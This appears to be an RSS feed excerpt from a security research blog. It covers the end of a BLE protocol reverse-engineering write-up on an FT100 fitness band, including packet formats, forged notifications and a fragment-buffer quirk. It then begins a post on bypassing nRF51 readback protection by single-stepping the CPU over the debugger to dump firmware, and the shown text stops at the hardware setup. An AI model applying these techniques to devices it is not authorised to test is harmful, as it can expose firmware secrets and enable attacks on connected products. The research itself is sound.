&lt;p&gt;Now, it is possible to implement the function to calculate the CRC and we can start creating valid messages.&lt;/p&gt;
&lt;p&gt;Minding the CRC and the length byte, we can generate our own notifications commands to send to the device.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&#34;text-align:center&#34;&gt;&lt;img src=&#34;https://lessonsec.com/images/ft100/hacked_notification.jpeg#center&#34; alt=&#34;Custom notification&#34;&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:center&#34;&gt;Custom notification&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Only one last step is missing for full notification handling as we know the longest payload we can send on the exchanged MTU is 20 bytes. Now, if we remove, header, length, command ID and CRC bytes we are left with 16 bytes for the notification text, which is not much&amp;hellip; Also we kind of figured out the packet format, but it doesn&amp;rsquo;t account for every byte in notification messages.
It would make sense for there to be one or more bytes to handle some type of data fragmentation, to handle payloads longer than 16 bytes.&lt;/p&gt;
&lt;p&gt;So I&amp;rsquo;ve sent a dozen of notifications to the smartwatch using the phone and I was able to figure the notification message format out almost entirely: As anticipated we confirm we have a fragmentation mechanism, in particular 2 extra bytes that specify the total &lt;code&gt;fragment number&lt;/code&gt; and the &lt;code&gt;current fragment&lt;/code&gt;. Then by experimenting I figured out two more bytes that are part of the notification message format which I called &lt;code&gt;sub-command&lt;/code&gt; and &lt;code&gt;extra&lt;/code&gt; bytes.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&#34;text-align:center&#34;&gt;&lt;img src=&#34;https://lessonsec.com/images/ft100/penguin_notification.jpeg#center&#34; alt=&#34;Fragmented custom notification&#34;&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:center&#34;&gt;Fragmented custom notification&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The &lt;code&gt;sub-command&lt;/code&gt; byte specifies the notification icon that will be shown on the smart band screen.
By creating and sending notification messages to the device, it was possible to compile a list of sub-commands and their respective notification type.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Code&lt;/th&gt;
&lt;th&gt;Icon&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Call&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2/3&lt;/td&gt;
&lt;td&gt;SMS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Snapchat&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5/6/7&lt;/td&gt;
&lt;td&gt;SMS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;SMS (style 2)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16/17&lt;/td&gt;
&lt;td&gt;Facebook&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;18&lt;/td&gt;
&lt;td&gt;Twitter&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;19&lt;/td&gt;
&lt;td&gt;LinkedIn&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20&lt;/td&gt;
&lt;td&gt;WhatsApp&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;21&lt;/td&gt;
&lt;td&gt;Line&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;22&lt;/td&gt;
&lt;td&gt;Talk&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;23&lt;/td&gt;
&lt;td&gt;Facebook messenger&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;24&lt;/td&gt;
&lt;td&gt;Instagram&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;25&lt;/td&gt;
&lt;td&gt;WhatsApp Business&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Some icons appear on the &lt;code&gt;FT100&lt;/code&gt; for multiple sub-command values. This might be due to the fact that not all the supported notification types have a dedicated icon, but I&amp;rsquo;m just guessing.&lt;/p&gt;
&lt;p&gt;To this day I&amp;rsquo;m not sure what the &lt;code&gt;extra&lt;/code&gt; byte is there for. Sometimes it gets printed as a normal character, sometimes it doesn&amp;rsquo;t.&lt;/p&gt;
&lt;p&gt;The notification message format is completely reconstructed as follow:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Offset&lt;/th&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;Header&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0xAB&lt;/code&gt; (phone to device)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Length&lt;/td&gt;
&lt;td&gt;Length of the message&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Command ID&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x17&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Sub-command&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Total Fragments&lt;/td&gt;
&lt;td&gt;Total number of fragment for messages longer than 20 bytes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Fragment Index&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;Extra&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;n..m&lt;/td&gt;
&lt;td&gt;Payload&lt;/td&gt;
&lt;td&gt;ASCII data&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;last&lt;/td&gt;
&lt;td&gt;CRC8&lt;/td&gt;
&lt;td&gt;CRC-8/MAXIM-DOW&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Finally, whenever I see fragmentation I have to try and mess with it a little bit and I noticed a weird behavior. Fragment indexes are 1 based, and the device starts buffering fragments at index 1 as expected, however, if a second message sets fragment index = 1, the first chunk of buffered message gets overwritten. The funny part is that fragment 1 is the only one that shows this behavior. Fragments with indexes greater than 1 will be buffered in order of arrival (and not depending on the frame number) until one message with fragment index = total fragments is written on the target characteristic, again not dependent on the actual number of frames received.&lt;/p&gt;
&lt;h3 id=&#34;weather-data-push&#34;&gt;Weather data push&lt;/h3&gt;
&lt;p&gt;Just because there&amp;rsquo;s way too much stuff to ignore it all, I wanted to reverse engineer another message type: weather data push.
I&amp;rsquo;m not sure if this happens periodically while using the app, but it is possible to trigger a manual weather data push in the app, so it was kind of easy to experiment with this feature as well.&lt;/p&gt;
&lt;p&gt;For the first time, the menu item for this functionality appears on the device only if a weather push has been performed before.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;======================================
BLE WRITE (TX)
======================================
Service: 000018d0-0000-1000-8000-00805f9b34fb
Char   : 00002d01-0000-1000-8000-00805f9b34fb
Data   : ab 08 2a 00 08 0f 05 28
ASCII  : . . . . . . . . (

======================================
BLE WRITE ACK
======================================
Status : 0

======================================
BLE RX (Notification)
======================================
Device : C0:00:A1:A2:1F:04
Service: 000018d0-0000-1000-8000-00805f9b34fb
Char   : 00002d00-0000-1000-8000-00805f9b34fb
Data   : 5a 05 2a 01 8e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
ASCII  : Z...................
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Again, I&amp;rsquo;ve sent a few of these messages and figured out the packet format:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Offset&lt;/th&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;Header&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0xAB&lt;/code&gt; (phone to device)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Length&lt;/td&gt;
&lt;td&gt;Length of the message&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Command ID&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x2A&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Sub-command&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Extra&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Max Temp&lt;/td&gt;
&lt;td&gt;Maximum temperature value&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;Min Temp&lt;/td&gt;
&lt;td&gt;Minimum temperature value&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;last&lt;/td&gt;
&lt;td&gt;CRC8&lt;/td&gt;
&lt;td&gt;CRC-8/MAXIM-DOW&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Sub-command values in this case change the weather icon shown in the weather menu. Values in this case are:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Code&lt;/th&gt;
&lt;th&gt;Icon&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;Sun&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Cloud + Sun&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Rain&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Snow&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Cloud&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Any other value will default to cloud icon.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Here too, no image of the smartwatch because I broke the screen, it sucks I know.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;watchface-data-push&#34;&gt;Watchface data push&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;I meant to keep the analysis of this feature for a part 2 of the article, but as the screen is now broken I figured it was worth wrapping up what I have done to this point.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;After identifying several control commands, I wanted to understand how the companion app uploads custom watchfaces to the device. Capturing a full update revealed that the process consists of two distinct phases: a short control exchange that prepares the watch for the transfer, followed by a large stream of fragmented image data.&lt;/p&gt;
&lt;p&gt;The actual watchface image is transmitted as a sequence of packets written on the same BLE characteristic used for other commands. Unlike the notification and weather packets analyzed earlier, these frames do not include a length byte. Instead, they are simple fragments of raw pixel data indexed with a 16-bit counter. The start of image stream is probably set up by previous communications.&lt;/p&gt;
&lt;p&gt;Typical fragments look like this:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;======================================
BLE WRITE (TX)
======================================
Service: 000018d0-0000-1000-8000-00805f9b34fb
Char   : 00002d01-0000-1000-8000-00805f9b34fb
Data   : ab 2c 00 00 79 ce 00 00 08 42 c7 39 e7 39 c7 39 08 42 c7 39
ASCII  : .,..y....B.9.9.9.B.9

======================================
BLE WRITE ACK
======================================
Status : 0

======================================
BLE WRITE (TX)
======================================
Service: 000018d0-0000-1000-8000-00805f9b34fb
Char   : 00002d01-0000-1000-8000-00805f9b34fb
Data   : ab 2c 00 01 c7 39 e7 39 e7 39 a6 31 e8 41 a6 31 c7 39 e7 39
ASCII  : .,...9.9.9.1.A.1.9.9

======================================
BLE WRITE ACK
======================================
Status : 0

======================================
BLE WRITE (TX)
======================================
Service: 000018d0-0000-1000-8000-00805f9b34fb
Char   : 00002d01-0000-1000-8000-00805f9b34fb
Data   : ab 2c 00 02 c7 39 e7 39 c7 39 08 42 21 08 e3 18 86 31 04 21
ASCII  : .,...9.9.9.B!....1.!

======================================
BLE WRITE ACK
======================================
Status : 0

======================================
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;By analyzing multiple captures it becomes clear that these packets implement a simple fragmentation scheme.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Offset&lt;/th&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;Header&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0xAB&lt;/code&gt; (phone to device)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Command ID&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x2C&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Index (MSB)&lt;/td&gt;
&lt;td&gt;Fragment index high byte&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Index (LSB)&lt;/td&gt;
&lt;td&gt;Fragment index low byte&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4..n&lt;/td&gt;
&lt;td&gt;Payload&lt;/td&gt;
&lt;td&gt;Raw image data&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;last&lt;/td&gt;
&lt;td&gt;CRC8&lt;/td&gt;
&lt;td&gt;CRC-8/MAXIM-DOW&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The index field increments sequentially for each fragment, allowing the watch to reconstruct the full image stream.&lt;/p&gt;
&lt;p&gt;Once all fragments are concatenated in order, the resulting byte stream contains nothing but pixel data.
Now, it was easy to determine how images were sent, but it took a lot of fiddling to make sense of the data.&lt;/p&gt;
&lt;p&gt;There are still two unknowns:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Data format&lt;/li&gt;
&lt;li&gt;Image size&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;What I did was use an &amp;ldquo;easy to debug with&amp;rdquo; image, I decided to go for a numbered chess board.&lt;/p&gt;
&lt;p&gt;I then captured the traffic when performing the upload operation, wrote a small parser that extracts &lt;code&gt;0xAB 0x2C&lt;/code&gt; packets from the BLE dump, sorts them by fragment index, and rebuilds the binary stream. I then tried using different image encoding formats to interpret the payload. I was eventually able to determine that the correct one was &lt;strong&gt;RGB565&lt;/strong&gt;. I focused on common color encodings used in embedded displays, and the payload started to make sense when decoded this way.&lt;/p&gt;
&lt;p&gt;Finding out the image size took longer to figure out as at first it wasn&amp;rsquo;t clear if or how metadata was included in the extracted binary blob. After a few attempts and a couple of hours spent staring at badly distorted images, it was possible to understand that the size is 80 x 160 pixel.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&#34;text-align:center&#34;&gt;&lt;img src=&#34;https://lessonsec.com/images/ft100/watchface_broken.png#center&#34; alt=&#34;Badly reconstructed image&#34;&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:center&#34;&gt;Badly reconstructed image&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The correctly extracted watchface image looks like this:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&#34;text-align:center&#34;&gt;&lt;img src=&#34;https://lessonsec.com/images/ft100/watchface.png#center&#34; alt=&#34;Reconstructed image&#34;&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:center&#34;&gt;Reconstructed image&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;This fragmentation approach is fairly typical for BLE devices: instead of relying on large MTU sizes, the application simply slices the image into fixed-size chunks and transmits them sequentially. The watch then reassembles the data internally before updating the displayed watchface.&lt;/p&gt;
&lt;p&gt;Now that the format of the watchface stream is understood, the next logical step would be to reproduce the process in reverse, however, I didn&amp;rsquo;t get to achieve this as I broke the watch.&lt;/p&gt;
&lt;h3 id=&#34;response-message-format&#34;&gt;Response message format&lt;/h3&gt;
&lt;p&gt;While we are at it we might as well formalize the response format, which looks something like this:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Offset&lt;/th&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;Header&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x5A&lt;/code&gt; (device to phone)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Length&lt;/td&gt;
&lt;td&gt;Length of the message&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Command ID&lt;/td&gt;
&lt;td&gt;Reflected from the message &lt;br /&gt;the device is responding to&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;n..m&lt;/td&gt;
&lt;td&gt;Payload&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;last&lt;/td&gt;
&lt;td&gt;CRC8&lt;/td&gt;
&lt;td&gt;CRC-8/MAXIM-DOW&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;With the payload being either a status code (&lt;code&gt;0x01&lt;/code&gt; positive outcome, &lt;code&gt;0x00&lt;/code&gt; negative outcome) or a returned value.&lt;/p&gt;
&lt;h2 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h2&gt;
&lt;p&gt;As I&amp;rsquo;m finishing this article, I&amp;rsquo;ve found a bunch of interesting classes that could help for future reversing efforts, namely &lt;code&gt;com.tjd.lefun.sdk.ble.BleWatchServiceImpl&lt;/code&gt; and &lt;code&gt;com.tjd.lefun.sdk.ble.WristbandCommandByte&lt;/code&gt; these classes explain quite well message formats and what operations the SDK supports, however many commands are not implemented in the app or in the smartband as I&amp;rsquo;ve forging messages for a few of those and got no response from the smartband.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&#34;text-align:center&#34;&gt;&lt;img src=&#34;https://lessonsec.com/images/ft100/message_format.png#center&#34; alt=&#34;Useful code&#34;&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:center&#34;&gt;App code handling notifications&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;This would have saved me some frustration reversing the protocol, but it is what it is. It might be useful for future work.&lt;/p&gt;
&lt;p&gt;All relevant scripts and resources are available here: &lt;a href=&#34;https://github.com/0xless/FT100_fitness_bracelet_reversing&#34;&gt;https://github.com/0xless/FT100_fitness_bracelet_reversing&lt;/a&gt;&lt;/p&gt;
</content:encoded>

      </item><item>
        <title>nRF51 RBPCONF bypass for firmware dumping</title>
        <link>https://lessonsec.com/posts/nrf51-bypass/</link>
        <guid isPermaLink="true">https://lessonsec.com/posts/nrf51-bypass/</guid>
        <pubDate>Thu, 04 Sep 2025 21:41:00 &#43;0200</pubDate><description>A while ago I read about the firmware dumping technique proposed by Include Security to bypass RBPCONF (Readback Protection) on nRF51 family MCUs. Recently I could spend some time attempting to replicate the effects of their research.</description>
	<content:encoded>&lt;p&gt;A while ago I read about the &lt;a href=&#34;https://blog.includesecurity.com/2015/11/firmware-dumping-technique-for-an-arm-cortex-m0-soc/&#34;&gt;firmware dumping technique proposed by Include Security&lt;/a&gt; to bypass RBPCONF (Readback Protection) on nRF51 family MCUs. Recently I could spend some time attempting to replicate the effects of their research.&lt;/p&gt;
&lt;p&gt;The nRF51 series is Nordic Semiconductor’s family of low-power SoCs built around an ARM Cortex-M0. If you’ve played with Bluetooth Low Energy (BLE) gadgets from a few years back such as beacons, smart locks or fitness trackers there’s a good chance they had an nRF51 inside.&lt;/p&gt;
&lt;p&gt;This technique is significant because retrieving the firmware is almost always the first step before any meaningful reverse engineering. Once the binary is available, an attacker can perform static or dynamic analysis to uncover hardcoded secrets, or look for exploitable bugs that could compromise the security of the system. For connected products such as smart locks, wearables, and IoT sensors, the impact of such access can be substantial.&lt;/p&gt;
&lt;p&gt;What makes this bypass interesting is its non-invasive nature. Other approaches often involve some type of glitching, manipulating reset lines, or even destructive decapsulation, all of which risk damaging the device and require specialized equipment. In this case, the attack relies only on software manipulation through standard debugging interfaces. The target remains fully functional while its memory is exfiltrated, making the method practical and appealing.&lt;/p&gt;
&lt;p&gt;So I decided to visit Aliexpress, bought two of the cheapest board I could find featuring an nRF51822 and went to work.&lt;/p&gt;
&lt;h2 id=&#34;nrf51-security-in-a-nutshell&#34;&gt;nRF51 security in a nutshell&lt;/h2&gt;
&lt;p&gt;As numerous other MCUs, the nRF51 family offers some way to prevent final users of the device from reading the flash memory of the MCU and recover the firmware. Much of the device’s security posture is controlled through a set of non-volatile registers called &lt;strong&gt;User Information Configuration Registers (UICR)&lt;/strong&gt; located at address &lt;code&gt;0x10001000&lt;/code&gt;. This registers are what allows for enabling protections on this devices family.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&#34;text-align:center&#34;&gt;&lt;img src=&#34;https://lessonsec.com/images/nrf51/uicr.png#center&#34; alt=&#34;UICR overview&#34;&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:center&#34;&gt;UICR overview&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Registers inside UICR we are going to focus onto are: &lt;code&gt;CLENR0&lt;/code&gt; and &lt;code&gt;RBPCONF&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Register &lt;code&gt;CLENR0&lt;/code&gt; is what allows dividing code flash in two areas: Code Region 0 (CR0) and Code Region 1 (CR1). CR0 always starts at &lt;code&gt;0x00000000&lt;/code&gt;, and its size is defined by the &lt;code&gt;CLENR0&lt;/code&gt; register. Everything above that boundary falls into CR1. If &lt;code&gt;CLENR0&lt;/code&gt; is left untouched (&lt;code&gt;0xFFFFFFFF&lt;/code&gt;), the whole flash is simply treated as CR1.&lt;/p&gt;
&lt;p&gt;There are a few differences between CR0 and CR1:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Code running in CR0 cannot be modified by code running in CR1.&lt;/li&gt;
&lt;li&gt;Pages of CR0 cannot be erased, CR0 is erasable only via chip-wide wipe (&lt;code&gt;ERASEALL&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Generally speaking, this renders CR0 a more secure memory area suitable for critical software components or sensitive data storage.&lt;/p&gt;
&lt;h3 id=&#34;understanding-rbpconf&#34;&gt;Understanding RBPCONF&lt;/h3&gt;
&lt;p&gt;An nRF51 device can be configured with three different security configurations based on &lt;code&gt;RBPCONF&lt;/code&gt;: no protection, &lt;code&gt;PR0&lt;/code&gt; protection and &lt;code&gt;PALL&lt;/code&gt; protection.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&#34;text-align:center&#34;&gt;&lt;img src=&#34;https://lessonsec.com/images/nrf51/rbpconf.png#center&#34; alt=&#34;RBCONF Register&#34;&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:center&#34;&gt;RBCONF overview&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;code&gt;PR0&lt;/code&gt; register allows for locking CR0 memory area. This protection, when enabled, prevents firmware running from CR1 from reading CR0 memory as well as locking the read-back on CR0 area from SWD debugger.&lt;/p&gt;
&lt;p&gt;The nRF51 also exposes the &lt;code&gt;PALL&lt;/code&gt; protection, which locks down all code memory (both CR0 and CR1). Once &lt;code&gt;PALL&lt;/code&gt; is enabled, no external debugger reads are possible. The only way to disable this protection is to perform a full chip erase (&lt;code&gt;ERASEALL&lt;/code&gt;), which wipes both application and configuration data, protecting the firmware from exfiltration. The &lt;code&gt;PALL&lt;/code&gt; mechanism is intended as &amp;ldquo;production lock&amp;rdquo; and is the strongest protection mechanism available in these MCUs.&lt;/p&gt;
&lt;p&gt;One security measure other SoCs offer, is to completely disable debugger accesses. However this is not a possibility with the nRF51 and even though the debugger won&amp;rsquo;t be able to access flash memory directly, this poses a risk to the device and it is exactly the weakness we are abusing to access the whole memory.&lt;/p&gt;
&lt;h3 id=&#34;exploiting-rbpconf&#34;&gt;Exploiting RBPCONF&lt;/h3&gt;
&lt;p&gt;The protection mechanisms in place allow only code already present in the CR0 to read flash memory.&lt;/p&gt;
&lt;p&gt;External debuggers are blocked from issuing flash memory reads directly. So, in order to extract data from the protected memory we will abuse the execution environment against itself. The register state, unlike the flash, remains observable and editable through the debugger interface.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;RBPCONF&lt;/code&gt; bypass is based on the fact that, being able to control CPU registers, it would be possible to halt and single step the CPU executing the firmware and change the behavior of instructions by altering generic purpose CPU registers values. This way it is possible to hijack instructions already residing in CR0 memory area.
With this knowledge available it&amp;rsquo;s just a matter of finding a load instruction that will take an address from one of the registers and puts the value from that address back to one of the registers.&lt;/p&gt;
&lt;p&gt;Nordic’s model assumes that isolating CR0 and requiring ERASEALL for modification is sufficient to protect sensitive firmware. However, the lack of debugger lockout means these guarantees can be bypassed.&lt;/p&gt;
&lt;h2 id=&#34;the-setup&#34;&gt;The Setup&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Hardware:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;nRF51822 dev board&lt;/li&gt;
&lt;li&gt;SEGGER J-Link&lt;/li&gt;
&lt;li&gt;Linux host machine&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Software:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;www.segger.com/products/development-tools/embedded-studio/&#34;&gt;SEGGER Embedded Studio&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://openocd.org/&#34;&gt;OpenOCD&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.nordicsemi.com/Products/Development-tools/nrf-command-line-tools/download&#34;&gt;nRF Command Line Tools&lt;/a&gt; (not strictly required, but handy for enabling protections &amp;amp; restoring a locked device)&lt;/li&gt;
&lt;li&gt;arm-none-eabi-gdb + Python for automation&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The board I&amp;rsquo;m using is this one:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&#34;text-align:center&#34;&gt;&lt;img src=&#34;https://lessonsec.com/images/nrf51/board.png#center&#34; alt=&#34;nRF51 board&#34;&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:center&#34;&gt;nRF51822 dev board&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
